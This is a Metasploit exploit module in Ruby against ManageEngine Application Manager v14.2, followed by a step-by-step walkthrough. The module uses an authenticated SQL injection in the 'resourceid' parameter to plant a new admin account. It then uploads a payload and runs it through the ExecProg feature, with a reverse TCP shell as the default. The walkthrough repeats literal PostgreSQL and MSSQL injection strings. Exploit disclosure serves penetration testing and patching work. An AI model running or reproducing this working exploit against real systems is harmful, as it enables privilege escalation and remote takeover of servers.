##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.
        Affected APM till version 14 build 14300.
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60,
          'RPORT' => 9090,
          'SSL' => false,
          'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '10 August 2019 //DEFCON',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(cookie)

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(cookie, platform, @dir)
  end

  def file_up(cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(cookie, dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5,
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(cookie, action)
    send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'index.do'),
    )
    # For this part the build control will be placed.
    if res && res.code == 200 && res.body.include?('Build No:142')
      return Exploit::CheckCode::Vulnerable
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'POST',
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => datastore['USERNAME'],
          'j_password' => datastore['PASSWORD'],
          'submit' => 'Login'
        }
      )

      if res && res.code == 303
        res = send_request_cgi(
          'cookie'  => @cookie,
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        send_sqli(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end     

    else
      fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end

  def send_sqli(cookies)

    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'POST',
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd,
          'submit' => 'Login'
        }
      )
      print @uname + "//" + @pwd
      puts res.body
      if res && res.code == 303
        print_good("Privilege Escalation was successfully performed.")
        print_good("New APM admin username = " + @uname)
        print_good("New APM admin password = " + @pwd)
        res = send_request_cgi(
          'cookie'  => @cookie,
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        check_platform(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end
    else
      fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
  end
end

The account that we will use may be in the authority of "Operator" or any account that is not "Admin".

There is a SQL injection vulnerability in the "resourceid" parameter in "/jsp/NewThresholdConfiguration.jsp".

In our example we use the "postgresql" database. SQL injection is of "Time-Based" type. So we can verify with "pg_sleep()".

When we send a sleep query, we see that the server is sleeping. Therefore, we have confirmed that "resourceid" parameter is vulnerable.

Now we will create an appropriate "insert" query for "postgresql" and create a new "admin" account.

After examining the APM application database, we learned that we need to make additions to the "AM_UserPasswordTable" table and the "Am_UserGroupTable" table for the user.

In the query, we should use "+" instead of spaces and "$$" instead of ' or " . We should also send md5 for "password".

A payload like the following will work.


1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+($$21$$,$$appsec2$$,$$e4912b56d06c0e67857d8592ec938118$$);insert+into+Am_UserGroupTable+(username,groupname)+values+($$appsec2$$,$$ADMIN$$);--+

1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (CHAR(53)+CHAR(55)+CHAR(49), CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), 0x3d60b14baa4755edf3e0dc44981124d1, CHAR(51)+CHAR(55)+CHAR(49)+CHAR(56)+CHAR(54)+CHAR(48));INSERT INTO AM_UserGroupTable(username,groupname) values (CHAR(112)+CHAR(118)+CHAR(103)+CHAR(119)+CHAR(97)+CHAR(98), CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78))--
In the MSSQL database, "CHAR" encode should be used. The platform can be linux and possible remotely connected to the MSSQL database.In the same way platform can be windows and postgresql can be used.

After SQLi now we have "appsec2" admin account.

After privilege escalation, we will use the "ExecProg" feature of the APM application to code execution.

First, we will send the malicious file from the "upload" section to the server.

I created a harmful ".sh" file and used "perl" payload. I know the server is "linux". Dont worry the metasploit module that I prepared can also control the platform.

The "ExecProg" section contains information about the server directory. By performing platform control, the appropriate payload can be sent to the server.

As you can see, the platform information can be seen in the "Directory to Execute Program" section.

Our malicious file is on the server. Now we will tell the app to run it.

We created a new action and wanted the malicious file to run.

As you can see, the session was received from the server.